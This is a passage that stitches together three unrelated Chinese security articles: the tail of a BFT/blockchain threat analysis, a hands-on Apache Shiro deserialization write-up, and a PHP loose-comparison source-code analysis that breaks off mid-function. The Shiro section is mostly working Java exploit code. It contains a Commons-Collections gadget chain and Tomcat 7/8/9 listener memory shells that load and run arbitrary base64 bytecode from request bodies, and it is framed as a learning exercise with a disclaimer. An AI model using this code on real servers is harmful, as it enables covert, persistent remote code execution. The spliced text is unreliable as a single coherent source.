掌握着通往用户物理大门的钥匙。节点通信依赖于网络连接，网络连接依赖于运营商提供服务。如果在运营商层面作恶，那么更加容易导致节点失效。运营商劫持就是一个例子。
什么是运营商劫持？
网络运营商为了卖广告或者其他经济利益，有时候会直接劫持用户的访问，目前，运营商比较常见的作恶方式有两种，分别是DNS劫持、HTTP劫持。
DNS劫持简单粗暴，会把请求重新定位到其它网站，比如假设想访问中国银行，正常的DNS
解析IP应该是中国银行的IP地址（假设是10.1.2.3），但是中间者修改这个DNS解析结果，返回用户一个非中国网银行的IP（假设是10.2.3.4），那么用户就会和这个非中国银行的网站建立连接并产生网络传输。
HTTP劫持是指，运营商发现 HTTP
请求的时候，会在正常的数据流中插入精心设计的网络数据报文，目的是让用户端程序解释“错误”的数据，并以弹出新窗口的形式在使用者界面展示宣传性广告或者直接显示某网站的内容。
从这些劫持行为来看，运营商也可能作恶。如果运营商作恶，可以直接从运营商层面发起日蚀攻击，让节点失去有效连接，可以达到控制的恶意节点的数量大于 f 的目的。
### 1.3.6 硬件基础设施遭破坏
2015 年 5 月 27
日，由于市政施工，杭州市萧山区某地光缆被挖断，进而导致支付宝一个主要机房受影响，随后全国部分用户约2小时无法使用支付宝。28日，在线旅游网站携程网也突发故障，导致网站和客户端无法登录。
如果在节点所在的网络基础设施损坏，也会导致节点不可用，可以达到控制的恶意节点的数量大于 f 的目的。
# 02 协议被攻破对区块链安全的影响
BFT 协议在区块链中担任重要角色，由上一节的威胁分析可知 BFT 协议在现实世界中面临多种威胁。协议被攻破后，对区块链安全会产生怎样的影响？
协议被攻破的表现是攻击者可以控制共识结果。一旦共识结果可以被操控，对区块链的影响主要是看是怎样的业务场景。
## 2.1 有些场景可导致拒绝服务
如果区块链的业务只是负责记录消息，如消费记录，共识节点的作用是对交易顺序，也就是对消费记录进行排序，并且就一个排序达成一致即可。这种场景下，如果错误节点大于容错上限，既可以左右排序的顺序，也可以左右共识节点无法达成一致。左右排序顺序不会造成危害，因为业务跟顺序无关。但是，左右节点无法达成一致会导致拒绝服务。
## 2.2 有些场景可导致双花
有些场景允许节点在同一区块高度两个区块都投票，且不会受到惩罚。如果区块链的业务有资金的流转，共识节点的作用是对流转结果达成一致，那么只需要多增加 1
个错误节点，就可以双花攻击。f + 1 个恶意节点里面任何一个轮值到 primary，都可以和剩下的 f 个恶意节点合谋，把网络分化为3个区：f 个
诚实节点（左）、f 个恶意节点、f个诚实节点（右）。然后：
1、恶意 primary 给 f 个诚实节点（左）和 f 个恶意节点 发送 mi，加上 primary 自己刚好满足 2f + 1。
2、恶意 primary 给 f 个诚实节点（右）和 f 个恶意节点 发送 mj，加上 primary 自己也刚好满足 2f + 1。
3、这里在一个 view 的 prepare 阶段针对同一个 sequence number 产生了两个交易，也就是所谓的双花。
双花攻击会对资金产生重要的危害。
## 2.3 更多场景要分开讨论
由上两个小节可知，若容错边界被打破，对实际业务产生的危害随着业务场景的不同而不同，要根据场景去分析。
**具体案例分析：**
有一个基于 PBFT 改进的溯源链案例，案例主要做溯源服务。溯源服务的核心在于存证。案例认为 PBFT 存在如下问题：
1.目前 PBFT 算法应用于联盟链中最主要的问题是动态性。原始 PBFT 网络中的节点数量固定，节点的增减都需要对共识网络进行初始化。
2.对于 PBFT 的共识过程中可以看出，PBFT
算法对于作恶的主节点并没有惩罚机制，仅仅是切换视图更换主节点，而拜占庭节点仍然停留在共识网络中。因此在区块链的实际应用中需要进行改进。
3.PBFT 算法对于网络的带宽要求过高，带宽随着节点的数量的增加呈多项式级别的增长。因此可以与其他的共识算法进行融合改进，选举出代表节点进行 PBFT
算法，从而减小网络带宽的开销。
**案例进行了如下改进：**
1.在共识网络中部署一条智能合约，当网络中的某些节点达到合约要求的时候，例如节点所拥有的资产的大小，节点对于区块链的贡献等，那么他就可以进入候选节点的名单中。
2.对达成共识的主节点进行一定的奖励，并对恶意或不作为节点进行惩罚甚至取消废除恶意节点，从而提高网络中拜占庭节点作恶的代价，维护整个区块链网络的稳定性。
3.在共识网络中加入超时重传机制，从而提高消息传达的成功率，并且可以减小进行视图切换的次数，从而增加区块链网络的出块效率。
**针对以上改进，我们分析可能的威胁模型如下：**
1.引入智能合约动态调整共识节点数量增加了 PBFT
的扩展性，但是智能合约的合约本身是否安全是一个需要考量的因素。智能合约可能存在编码不当问题，如各类溢出漏洞；逻辑不当问题，如对共识节点条件判断出现漏洞；权限不当问题，如智能合约被越权访问。
2.引入奖惩制度有助于提高网络稳定性，但是额外的处理逻辑可能引入新的问题，如逻辑不当问题。
3.引入超时重传机制有利于提高出块效率，但是超时重传会影响其他节点计算超时时间，可能导致逻辑混乱。
4.不管如何更改和优化协议，编码安全问题都是共性问题。
**对区块链的安全影响分析如下：**
1.以上威胁模型可导致共识协议被攻破，共识可以被人为操控。
2.溯源信息可以被伪造，共识不验证上链信息的合法性，任意伪造信息都可上链。
3.溯源信息可以被删除。
4.溯源链被拒绝服务。
对溯源链来说，信息的可靠性是最为重要的，共识协议被攻破之后，可靠性不复存在。
# 03 小 结
拜占庭将军问题最初由 Leslie Lamport 和另外两人在1982年提出，距今已有近 40
年的历史，在互联网领域，可以称的上是一个“经典”的问题。近年来，随着区块链技术的发展，拜占庭将军问题也重新焕发了生机。BFT
协议在区块链中有了广泛的应用。在蓬勃发展之余，威胁模型也变得多样，本文做了简要的分析。BFT
被攻破之后，对区块链安全的影响不能一概而论，需要看区块链上所承载的业务。我们也做了案例分析。
拜占庭将军问题是个经典问题，针对拜占庭协议的研究工作非常多，本文也只是管中窥豹，无法完全展现 BFT
的精妙，感兴趣的读者还需要自己做研究。由于区块链方案更新迭代的速度极快，不排除一些信息滞后，欢迎读者斧正。
本文图片来源于：
刘秋杉. Practical Byzantine Fault Tolerance[EB/OL].2014-09-09.
区块链安全：基于区块链网络攻击的方式原理详解
参考资料
<https://academy.binance.com/zh/articles/what-is-social-engineering>
<https://mp.weixin.qq.com/s/uE_3NhH0mlEejJoUCfEchQ>
<https://www.jianshu.com/p/5fea30b25f0a>
<https://www.chainnews.com/articles/066979964730.htm>
<https://learnblockchain.cn/2019/08/29/pbft/>
<https://blog.csdn.net/yuanfangyuan_block/article/details/79872614>
<https://bihu.com/article/1427644620>
<https://bihu.com/article/1870080193>
<https://segmentfault.com/a/1190000019011651>
<https://zhuanlan.zhihu.com/p/42493898>
<https://colobu.com/2018/11/28/EOS-whitepaper/>
<https://docs.neo.org/docs/zh-cn/tooldev/consensus/consensus_algorithm.html>
<https://xz.aliyun.com/t/3160>
<https://paper.seebug.org/895/>
<https://www.theblockbeats.com/news/2634>
<https://www.jinse.com/blockchain/397228.html>
<https://www.idcbest.com/idcnews/11002090.html>
<https://www.jianshu.com/p/78e2b3d3af62>
<https://www.chainnews.com/articles/469245604416.htm>
<https://www.hyperchain.cn/news/282.html>
<https://people.eecs.berkeley.edu/~luca/cs174/byzantine.pdf>
<http://pmg.csail.mit.edu/papers/osdi99.pdf>
<https://www.usenix.org/legacy/events/osdi06/tech/full_papers/cowling/cowling.pdf>
<https://eprint.iacr.org/2016/199.pdf>
<https://juejin.cn/post/6844903732736425992>
* * * | 社区文章 |
最近在入门JAVA安全,看的第一个洞是Shiro反序列化,已经是个2016年的老洞了
这个漏洞第一似乎比较适合入门,而且实战确实还能遇到几个(犄角旮旯里的系统),另外现有的注入工具注入内存马的时候可能会失败,于是乎自己造了个轮子,另外也是为了更好地了解漏洞的原理和利用方式
本文所有代码以及GUI工具都开源在了 <https://github.com/ccdr4gon/Dr4gonSword>
**仅供交流学习漏洞原理,请勿用于非法用途**
**仅供交流学习漏洞原理,请勿用于非法用途**
最后我把自己在学习过程中的一些浅薄的思考写成了这篇文章,如有谬误恳请各位师傅指出
# 利用链
## CommonsCollectionsK1_1
因为入门的时候看了P师傅的java安全漫谈,按照p师傅的顺序shiro反序列化前面是cc3利用链,所以我写的也是把cc3的TransformerChain改成tiedMapEntry,和CommonsCollectionsK1的区别大概只是InvokerTransformer和InstantiateTransformer的区别,网上的分析文章似乎也比较多了,就不赘述了
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_bytecodes",new byte[][] {code});
setFieldValue(obj,"_name","");
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
InstantiateTransformer i=new InstantiateTransformer
(
new Class[] { Templates.class },
new Object[] { obj }
);
Map originalMap = new HashMap();
Map decoratedMap = LazyMap.decorate(originalMap , i);
Map fakedecoratedMap=LazyMap.decorate(originalMap, new ConstantTransformer("1"));
TiedMapEntry tme = new TiedMapEntry(fakedecoratedMap,TrAXFilter.class);
Map enterpointMap = new HashMap();
enterpointMap.put(tme, "valuevalue");
decoratedMap.clear();
setFieldValue(tme,"map",decoratedMap);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(enterpointMap);
# Tomcat8/9回显和注入内存马
## Tomcat的三种内存马
Tomcat的三种内存马为Listener型,Filter型,Servlet型,网上对于这三种内存马的研究已经有很多师傅做过了,不再过多赘述
其中注入成功的关键点就是如何获取到StandardContext
而获取StandardContext又有3种方式
* 在jsp文件自带的变量如request等等里面找
* 从Thread.currentThread()里面找
* 从JMXMBeanServer的domainTb下面直接获取
首先第一种应该被排除,因为我们要做到无文件落地
这里我选了第二种,因为首先第二种在Tomcat8/9的情况下最短最方便,而且Tomcat加载的顺序似乎是Listener,Filter,Servlet,而shiro的实现似乎是一个Filter,如果我们使用Listener,那是不是就不会被shiro拦截(指还没加载恶意代码就跳转登录界面)了呢
而事实上确实也是这样,比如p师傅的shirodemo环境或者强网杯2021初赛的hard pentest环境也能正常连接(下图应该是当时强网杯的连接)
## 与Shiro反序列化漏洞结合
我们知道Shiro反序列化漏洞要反序列化成功,加载的恶意类必须是AbstractTranslet的子类才可以(因为用到了TemplatesImpl加载字节码,在TemplatesImpl的defineTransletClasses有下面这一行)
而使用StandardContext加载listener的话也要实现ServletRequestListener接口,那我们不如直接创建一个类Init,既继承AbstractTranslet类,又实现ServletRequestListener接口
然后在自己的构造方法中调用StandardContext.addApplicationEventListener(this);
,在反序列化的过程中出发构造方法,把自己加入到listeners中
然后在requestInitialized中编写恶意代码,不就可以在每个请求的过程中执行任意命令了吗(也是为了解决下面request too
large的问题,在每个请求的过程中加载恶意的字节码)
public class Init extends AbstractTranslet implements ServletRequestListener {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
public Init() throws Exception {
super();
super.namesArray = new String[]{"ccdr4gon"};
WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
standardCtx.addApplicationEventListener(this);
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {}
@Override
public void requestInitialized(ServletRequestEvent sre) {
//恶意代码
}
}
但是这里我们并不能随意编写恶意代码,因为如果恶意代码太长(header超过8kb),那么tomcat会报一个header too
large的错,无法利用成功
## 解决request header too large的问题
现在似乎有两种解决的方式
* 改变org.apache.coyote.http11.AbstractHttp11Protocol的maxHeaderSize的大小 而文章里面也说明了,但是由于request的inputbuffer会复用，所以我们在修改完maxHeaderSize之后，需要多个连接同时访问
* 把恶意代码放在POST包的Body里面
我们这里选择第二种,首先我们把一个Init加载进内存,然后在Init的requestInitialized方法中读取post的body作为字节码加载类,并调用类的Init方法,这样我们就可以执行长度不限的任意代码了,如果有的依赖缺失,也可以手动把类全加载进去(比如连接behinder早期版本用到的PageContext)
public class Init extends AbstractTranslet implements ServletRequestListener {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
public Init() throws Exception {
super();
super.namesArray = new String[]{"ccdr4gon"};
WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
standardCtx.addApplicationEventListener(this);
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {}
@Override
public void requestInitialized(ServletRequestEvent sre) {
try {
RequestFacade requestfacade= (RequestFacade) sre.getServletRequest();
Field field = requestfacade.getClass().getDeclaredField("request");
field.setAccessible(true);
Request request = (Request) field.get(requestfacade);
if (request.getParameter("stage").equals("init")) {
StringBuilder sb = new StringBuilder("");
BufferedReader br = request.getReader();
String str;
while ((str = br.readLine()) != null) {
sb.append(str);
}
byte[] payload = Base64.getDecoder().decode(sb.toString());
Method defineClass = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), payload, 0, payload.length);
clazz.newInstance();
}
}catch (Exception ignored){}
}
}
## 连接冰蝎3
因为一开始我本地测试的时候是随手使用的冰蝎beta6版本,其中需要一个PageContext类型的变量,而PageContext是一个抽象类
`public abstract class PageContext extends JspContext {`
我也没有太好的办法,我就自己实现了一个类来继承PageContext,这个类要实现getResponse,getRequest,getSession方法,因为冰蝎要使用到这三个方法
后来没想到使用新版本的冰蝎反而无法连接,我看了jsp的代码没有任何变化,没办法只能jd-gui看一下jar包
一看代码原来是我自己创建的一个PageContext类的名字为Dr4gonContext,而冰蝎兼容旧版本的处理如下
可以看到匹配的是PageContext,于是把我们自己的类改名为Dr4gonPageContext即可
## 回显
虽然已经可以注入内存马,最后还是写了回显,第一个可能比较方便,第二可以用来检测内存马是不是注入成功(我的回显和内存马在同一个类里面,如果可以回显基本上也可以连接内存马)
最关键的是在我们的listener中,可以直接获取到request,所以写起来也很方便,于是就写了
代码就不贴了,都在github上开源了
# Tomcat7回显和注入内存马
写好了工具以后有一天发现利用失败,然后我仔细一看是个Tomcat7的站,随便调试了一下发现在Tomcat7中,没办法再使用简单的Thread.currentThread().getContextClassLoader().getResource().getContext()来获取到StandardContext了
调试了一下以后我没有使用jmx利用链,因为:
* 在SpringBoot嵌入式tomcat的环境下似乎默认没有开启嵌入式tomcat的jmxmbeanserver,其他师傅们的利用链似乎跑不通(没有经过仔细调试)
* payload太长,即使Init类也无法加载进去
这里看了很多很多师傅的利用链,最终还是用了c0ny1师傅的java-object-searcher来寻找利用链,然后找到比较短的一个
但是即使是比较短的一个利用链还是超过8kb的长度,最终把Init类手动优化代码(减小字节码体积),最终也能满足8kb的限制(长度在7900左右),优化后的代码如下
public class T7 extends AbstractTranslet implements ServletRequestListener {
public Object G(Object o, String s) throws Exception {
Field f = o.getClass().getDeclaredField(s);
f.setAccessible(true);
return f.get(o);
}
public void transform(DOM a, SerializationHandler[] b){}
public void transform(DOM a, DTMAxisIterator b, SerializationHandler c){}
public void requestDestroyed(ServletRequestEvent s) {}
public T7() {
try {
Object o=new Object();
Thread[] g = (Thread[]) G(Thread.currentThread().getThreadGroup(), "threads");
for (int i = 0; i < g.length; i++) {
Thread t = g[i];
if (t!=null&&t.getName().contains("Backg")) {
o = G(G(t, "target"), "this$0");
}
}
Field f = Class.forName("org.apache.catalina.core.ContainerBase").getDeclaredField("children");
f.setAccessible(true);
HashMap<String,Object> p = (HashMap) f.get(o);
for (Map.Entry l : p.entrySet()) {
HashMap<String,Object> k = (HashMap) f.get(l.getValue());
for (Map.Entry j : k.entrySet()){
((StandardContext)j.getValue()).addApplicationEventListener(this);
}
}
} catch (Exception i) {}
}
public void requestInitialized(ServletRequestEvent s) {
try {
StringBuilder b = new StringBuilder("");
BufferedReader r = ((Request) G(s.getServletRequest(), "request")).getReader();
String g;
while ((g = r.readLine()) != null) {
b.append(g);
}
byte[] p = Base64.getDecoder().decode(b.toString());
Method m = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
m.setAccessible(true);
Class c = (Class) m.invoke(Thread.currentThread().getContextClassLoader(), p, 0, p.length);
c.newInstance();
}catch (Exception i){}
}
}
## 踩的一个小坑
这里本来我是想把Init类分两步加载进去的,后一个Init2调用前一个Init1的方法,形成一个接力,但是shiro反序列化利用的时候是每次defineClass都会new一个自己的ClassLoader(如下图,在TemplatesImpl中),所以前后两个类没法互相访问
没办法只好出此下策,手动优化类的代码,缩短字节码的长度至8k以内,如果有师傅有更好的方法欢迎交流
# 感谢
phithon
kingkk
j1anFen
Litch1
threedr3am
wh1t3p1g
李三
LandGrey
Lucifaer
c0ny1
等等师傅们 | 社区文章 |
最近一直在学习PHP源码，在对PHP各个变量的实现有了一个大概的了解之后，尝试着对PHP的一些特性进行分析。在PHP源码分析方面，我算是一个初学者，如果有错误，欢迎师傅们批评指正。
## 前言
`PHP`中有很多黑魔法，最初入门CTF的时候，就经常遇到考察`PHP`弱类型的题，比如
<?php
error_reporting(0);
include_once('flag.php');
highlight_file('index.php');
$md51 = md5('QNKCDZO');
$a = $_GET['b'];
$md52 = md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo $flag;
} else {
echo "false!!!";
}
}
解决方案就是寻找一个`MD5`值是`0e`开头的字符串，`PHP`在使用`==`进行比较的时候，会认为该字符串是科学计数法表示的数字，然后又因为`QNKCDZO`的MD5值是`0e830400451993494058024219903391`，两个字符串都被转换为数字`0`，从而使表达式`$md51
== $md52`成立，但是如果是`===`运算符，表达式就不会成立了。
对于变量之间的比较，[手册](https://secure.php.net/manual/zh/language.operators.comparison.php)中写的也挺详细的。
接下来根据`PHP`的源码来分析下，这两个运算符是如何实现的。
## 环境&工具
* Mac Mojave 10.14
* PHP 7.1 + vld扩展
* VSCode debug
* UnderStand
## 1\. PHP的弱类型实现
我们都知道`PHP`中的变量本身是弱类型的，使用者在使用时不需要对变量类型进行声明，但`PHP`的底层是用`C`语言实现的，而`C`语言中的变量是强类型的，使用时需要对变量类型进行声明。接下来我们基于`PHP7`的源码，来简单分析下`PHP`中的变量实现。
在`PHP`中，所有的变量都是由一个`zval`结构体来存储的。
路径：`Zend/zend_types.h:121-143`
struct _zval_struct {
zend_value value; /* value */
union {
struct {
ZEND_ENDIAN_LOHI_4(
zend_uchar type, /* zval类型 */
zend_uchar type_flags, /* 对应变量类型特有的标记 */
zend_uchar const_flags, /* 常量类型的标记 */
zend_uchar reserved) /* call info for EX(This) */
} v;
uint32_t type_info; /* 与v是一个联合体，内存共享，修改该值等于修改结构体v的值。 */
} u1;
union {
uint32_t next; /* 用来解决hash冲突 */
uint32_t cache_slot; /* 运行时的缓存 */
uint32_t lineno; /* zend_ast_zval存行号 */
uint32_t num_args; /* EX(This)参数个数 */
uint32_t fe_pos; /* foreach的位置 */
uint32_t fe_iter_idx; /* foreach 游标的标记 */
uint32_t access_flags; /* 类的常量访问标识 */
// 常用的标识有 public、protected、 private
uint32_t property_guard; /* 单一属性保护 */
// 防止类中魔术方法的循环调用
} u2;
};
变量真正的数据存储在`value`中，也就是结构体`_zend_value`。
typedef union _zend_value {
zend_long lval; // 整型
double dval; // 浮点型
zend_refcounted *counted; // 引用计数
zend_string *str; // 字符串类型
zend_array *arr; // 数组类型
zend_object *obj; // 对象类型
zend_resource *res; // 资源类型
zend_reference *ref; // 引用类型
zend_ast_ref *ast; // 抽象语法树
zval *zv; // zval类型
void *ptr; // 指针类型
zend_class_entry *ce; // class类型
zend_function *func; // function类型
struct {
uint32_t w1;
uint32_t w2;
} ww;
} zend_value;
而变量的类型通过联合体`v`中的`type`来表示。
路径`Zend/zend_types.h:303`
/* 常规数据类型 */
#define IS_UNDEF 0 // 标记未使用类型
#define IS_NULL 1 // NULL
#define IS_FALSE 2 // 布尔false
#define IS_TRUE 3 // 布尔true
#define IS_LONG 4 // 长整型
#define IS_DOUBLE 5 // 浮点型
#define IS_STRING 6 // 字符串
#define IS_ARRAY 7 // 数组
#define IS_OBJECT 8 // 对象
#define IS_RESOURCE 9 // 资源类型
#define IS_REFERENCE 10 // 参考类型
/* constant expressions */
#define IS_CONSTANT 11 // 常量类型
#define IS_CONSTANT_AST 12 // 常量类型的AST数
/* 伪类型 */
#define _IS_BOOL 13
#define IS_CALLABLE 14
#define IS_ITERABLE 19
#define IS_VOID 18
/* 内部类型 */
#define IS_INDIRECT 15 // 间接类型
#define IS_PTR 17 // 指针类型
#define _IS_ERROR 20 // 错误类型
在真正取值的时候，`Zend`虚拟机会根据获取的`type`类型来获取对应的值。
比如我们执行代码`$a =
1;`，在`PHP`内部，`$a`用`zval`结构体来表示，它的`u1.v.type==IS_LONG`，这表示它是一个长整型，它的`value.lval==1`，这表示它的值为`1`。
如果代码是`$b = '123';`，那么它的`u1.v.type==IS_STRING`，这表示它是一个字符串，它的`value ==
zend_string *str`，真正的字符串`123`存储在`PHP`中的`zend_string`结构体中。
总之，在`PHP`中，无论是什么类型的变量，都是在`zval`结构体中存储的，`Zend`虚拟机面对的，始终是`zval`结构体。
基于这种结构，`PHP`中的变量成功实现了弱类型。
接下来我们看一下`PHP`弱类型比较的实现过程。
## 2\. '==' && '===' 的源码实现
### 2.1 前置知识
首先我们先了解一下`PHP`的执行过程。
1. 进行词法分析，将`PHP`代码转换为有意义的标识`Token`，使用词法分析器`Re2c`实现，将`Zend/zend_language_scanner.l`文件编译为`Zend/zend_language_scanner.c`。
2. 进行语法分析，将`Token`和符合文法规则的代码生成抽象语法树。语法分析器基于`Bison`实现，将`Zend/zend_language_parser.y`文件编译为`Zend/zend_language_parser.c`。
3. 生成的抽象语法树生成对应的`opcode`，然后被虚拟机执行。`opcode`对应着相应的处理函数，当虚拟机调用`opcode`时，会找到`opcode`对应的处理函数，执行真正的处理过程。
### 2.2 分析过程
测试代码
<?php
$a = "123";
var_dump($a == 123);
var_dump($a === 123);
我们借助`vld`扩展来看一下代码执行的`opcode`。
可以看到，我们拿到了两个比较符对应的`opcode`，很容易理解。
'==' : IS_EQUAL // 相等
'===': IS_IDENTICAL // 完全相等
然后我们根据拿到的这两个`opcode`，查找词法分析的源码来验证下。
路径：`Zend/zend_language_scanner.l:1468`
<ST_IN_SCRIPTING>"===" {
RETURN_TOKEN(T_IS_IDENTICAL);
}
路径：`Zend/zend_language_scanner.l:1476`
<ST_IN_SCRIPTING>"==" {
RETURN_TOKEN(T_IS_EQUAL);
}
我们可以知道，在词法分析时，标识`Token`为`T_IS_EQUAL`和`T_IS_IDENTICAL`，
接下来语法分析的源码`Zend/zend_language_parser.y`中查找。
路径：`Zend/zend_language_parser.y:931`
| expr T_IS_IDENTICAL expr
{ $$ = zend_ast_create_binary_op(ZEND_IS_IDENTICAL, $1, $3); }
路径：`Zend/zend_language_parser.y:935`
| expr T_IS_EQUAL expr
{ $$ = zend_ast_create_binary_op(ZEND_IS_EQUAL, $1, $3); }
可以知道，在语法分析中，调用生成`opcode`的函数为`zend_ast_create_binary_op`，生成的`opcode`分别是`ZEND_IS_EQUAL`和`ZEND_IS_IDENTICAL`。
接下来就是去寻找`opcode`对应的处理函数了。
路径：`Zend/zend_vm_execute.h`
根据`Token`可以搜索到很多函数的声明，根据函数名以及我们上面的`vld`扩展的输出，我们可以猜测，命名规则为
`ZEND_IS_EQUAL_SPEC_`开头，接下来是`OP1`和`OP2`，然后以`HANDLE`结尾。
`ZEND_IS_IDENTICAL`对应函数的的声明也类似。
#### 2.2.1 '==' 源码实现分析
根据`vld`扩展的输出，我们找到对应的函数`ZEND_IS_EQUAL_SPEC_CV_CONST_HANDLER`。
路径：`Zend/zend_vm_execute.h:36530`
static ZEND_OPCODE_HANDLER_RET ZEND_FASTCALL ZEND_IS_EQUAL_SPEC_CV_CONST_HANDLER(ZEND_OPCODE_HANDLER_ARGS)
{
USE_OPLINE
zval *op1, *op2, *result;
op1 = _get_zval_ptr_cv_undef(execute_data, opline->op1.var); // 获取OP1
op2 = EX_CONSTANT(opline->op2); // 获取OP2
do {
int result;
if (EXPECTED(Z_TYPE_P(op1) == IS_LONG)) {
if (EXPECTED(Z_TYPE_P(op2) == IS_LONG)) { // 如果OP1和OP2都是长整型，直接作比较并获得结果
result = (Z_LVAL_P(op1) == Z_LVAL_P(op2));
} else if (EXPECTED(Z_TYPE_P(op2) == IS_DOUBLE)) { // 如果OP1是长整型，OP2是浮点型，对OP1进行强制类型转换为浮点型，然后再作比较。
result = ((double)Z_LVAL_P(op1) == Z_DVAL_P(op2));
} else {
break; // 跳出
}
} else if (EXPECTED(Z_TYPE_P(op1) == IS_DOUBLE)) {
if (EXPECTED(Z_TYPE_P(op2) == IS_DOUBLE)) { // 如果OP1和OP2都是浮点型，直接作比较并获得结果
result = (Z_DVAL_P(op1) == Z_DVAL_P(op2));
} else if (EXPECTED(Z_TYPE_P(op2) == IS_LONG)) { // 如果OP1是浮点型，OP2是长整型，对OP2进行强制类型转换为浮点型，然后再作比较
result = (Z_DVAL_P(op1) == ((double)Z_LVAL_P(op2)));
} else {
break; // 跳出
}
} else if (EXPECTED(Z_TYPE_P(op1) == IS_STRING)) {
if (EXPECTED(Z_TYPE_P(op2) == IS_STRING)) { // 如果OP1和OP2都是字符串
if (Z_STR_P(op1) == Z_STR_P(op2)) { // 取出OP1和OP2的zval.value.str结构体，判断是否相等
result = 1;
} else if (Z_STRVAL_P(op1)[0] > '9' || Z_STRVAL_P(op2)[0] > '9') { // 如果OP1或者OP2的字符串开头不是数字
if (Z_STRLEN_P(op1) != Z_STRLEN_P(op2)) { // 两个字符串长度不相同
result = 0;
} else {
result = (memcmp(Z_STRVAL_P(op1), Z_STRVAL_P(op2), Z_STRLEN_P(op1)) == 0);// 按字节来判断OP1和OP2的字符串结构体是否相等
}
} else {
result = (zendi_smart_strcmp(Z_STR_P(op1), Z_STR_P(op2)) == 0); // 使用zendi_smart_strcmp来判断OP1和OP2的字符串是否相等
}
} else {
break;
}
} else {
break;
}
ZEND_VM_SMART_BRANCH(result, 0);
ZVAL_BOOL(EX_VAR(opline->result.var), result);
ZEND_VM_NEXT_OPCODE();
} while (0);
SAVE_OPLINE();
if (IS_CV == IS_CV && UNEXPECTED(Z_TYPE_P(op1) == IS_UNDEF)) { // 异常判断
op1 = GET_OP1_UNDEF_CV(op1, BP_VAR_R);
}
if (IS_CONST == IS_CV && UNEXPECTED(Z_TYPE_P(op2) == IS_UNDEF)) { // 异常判断
op2 = GET_OP2_UNDEF_CV(op2, BP_VAR_R);
}
result = EX_VAR(opline->result.var);
compare_function(result, op1, op2); // 后面进行重点分析
ZVAL_BOOL(result, Z_LVAL_P(result) == 0); // 将结果转换为布尔型
ZEND_VM_NEXT_OPCODE_CHECK_EXCEPTION(); // Zend虚拟机执行下一个opcode
}
可以看到，如果前面的条件都没能成立，就会进入`compare_function`函数。
首先我们查看一下调用关系，可以知道`compare_function`是`PHP`中变量对比的一个核心函数，
为了方便阅读，我把其中用到的宏放到了下面。
#define TYPE_PAIR(t1,t2) (((t1) << 4) | (t2))
#define Z_DVAL(zval) (zval).value.dval
#define Z_DVAL_P(zval_p) Z_DVAL(*(zval_p))
#define ZVAL_LONG(z, l) // 将zval z的类型设置为长整型，值设置为l
路径：`Zend/zend_operators.c:1976`
ZEND_API int ZEND_FASTCALL compare_function(zval *result, zval *op1, zval *op2)
{
int ret;
int converted = 0;
zval op1_copy, op2_copy;
zval *op_free, tmp_free;
while (1) {
switch (TYPE_PAIR(Z_TYPE_P(op1), Z_TYPE_P(op2))) { // 获取OP1和OP2的type值，然后进行TYPE_PAIR运算
case TYPE_PAIR(IS_LONG, IS_LONG): // 两者都是长整型
ZVAL_LONG(result, Z_LVAL_P(op1)>Z_LVAL_P(op2)?1:(Z_LVAL_P(op1)<Z_LVAL_P(op2)?-1:0));
return SUCCESS;
case TYPE_PAIR(IS_DOUBLE, IS_LONG): // OP1为浮点型，OP2为长整型
Z_DVAL_P(result) = Z_DVAL_P(op1) - (double)Z_LVAL_P(op2);
ZVAL_LONG(result, ZEND_NORMALIZE_BOOL(Z_DVAL_P(result)));
return SUCCESS;
case TYPE_PAIR(IS_LONG, IS_DOUBLE): // OP1为长整型，OP2位浮点型
Z_DVAL_P(result) = (double)Z_LVAL_P(op1) - Z_DVAL_P(op2);
ZVAL_LONG(result, ZEND_NORMALIZE_BOOL(Z_DVAL_P(result)));
return SUCCESS;
case TYPE_PAIR(IS_DOUBLE, IS_DOUBLE): // OP1和OP2都为浮点型
if (Z_DVAL_P(op1) == Z_DVAL_P(op2)) { // 直接获取浮点数来做对比
ZVAL_LONG(result, 0);
} else {
Z_DVAL_P(result) = Z_DVAL_P(op1) - Z_DVAL_P(op2);
ZVAL_LONG(result, ZEND_NORMALIZE_BOOL(Z_DVAL_P(result)));
}
return SUCCESS;
case TYPE_PAIR(IS_ARRAY, IS_ARRAY): // OP1和OP2都为数组
ZVAL_LONG(result, zend_compare_arrays(op1, op2));
return SUCCESS;
case TYPE_PAIR(IS_NULL, IS_NULL): // OP1和OP2都为NULL
case TYPE_PAIR(IS_NULL, IS_FALSE): // OP1为NULL，OP2为布尔型false
case TYPE_PAIR(IS_FALSE, IS_NULL): // OP1为布尔型false，OP2为NULL
case TYPE_PAIR(IS_FALSE, IS_FALSE): // OP1和OP2都为布尔型false
case TYPE_PAIR(IS_TRUE, IS_TRUE): // OP1和OP2都为布尔型true
ZVAL_LONG(result, 0);
return SUCCESS;
case TYPE_PAIR(IS_NULL, IS_TRUE): // OP1为NULL，OP2为布尔型true
ZVAL_LONG(result, -1);
return SUCCESS;
case TYPE_PAIR(IS_TRUE, IS_NULL): // OP1为布尔型true，OP2为NULL
ZVAL_LONG(result, 1);
return SUCCESS;
case TYPE_PAIR(IS_STRING, IS_STRING): // OP1和OP2都为字符串
if (Z_STR_P(op1) == Z_STR_P(op2)) {
ZVAL_LONG(result, 0);
return SUCCESS;
}
